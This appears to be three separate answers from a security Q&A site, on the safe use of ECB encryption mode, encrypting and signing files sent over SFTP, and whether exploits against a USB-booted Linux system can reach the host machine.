"Never use ECB mode" is generally solid advice.  Not because ECB can never be used safely, but because almost any cryptosystem that is build using EBC is going to use it in a way that ensures it will be badly broken.   Ancedotally, the most common reason I see people choosing ECB (when they do) they choose it because it doesn't require an IV or nonce, which makes it slightly simpler to implement.

That said, your understanding (and the answers to the other question linked in the comments) is correct.  ECB mode can be used securely in your scenario, if you never repeat a key/block combination.  You can safely encrypt the same one-block message twice (for instance, if you reset the counter and start over) but you must at that point switch to a new key.  Under a static key, you are correct that you must never send the same message twice.

Additionally, heed CodesInChaos' comment.  If at any point the encrypted message might be tampered with, you need a MAC to ensure its integrity.


What is the value of encrypting a payload when it will be transferred over sftp anyway?

There is no point if your threat model is only looking at interception or modification in transit.

However files that are being sent via SFTP often sit on a staging server at both receipt and storage. If you are worried about unauthorised access at these points then it is worth encrypting the file as well as the transport encryption.

In addition if you have a threat and requirement for non repudiation and/or want a method of verifying the file has not been modified (e.g. by an administrator once received) or sent by the authorised party (defence in depth to authentication and authorisation of the SFTP connection e.g. where one set of SFTP credentials are provided to a company but the file should only be sent by the finance department). In all these cases having a cryptographically signed file e.g. pgp signature that can be verified is a useful security control


So you have a computer, running Linux from an USB, and you use a browser there.

Yes, exploits that can take over your USB Linux can also affect the rest of the computer, like hard disks, Uefi, etc. Why shouldn't they be able to? (=> No reason).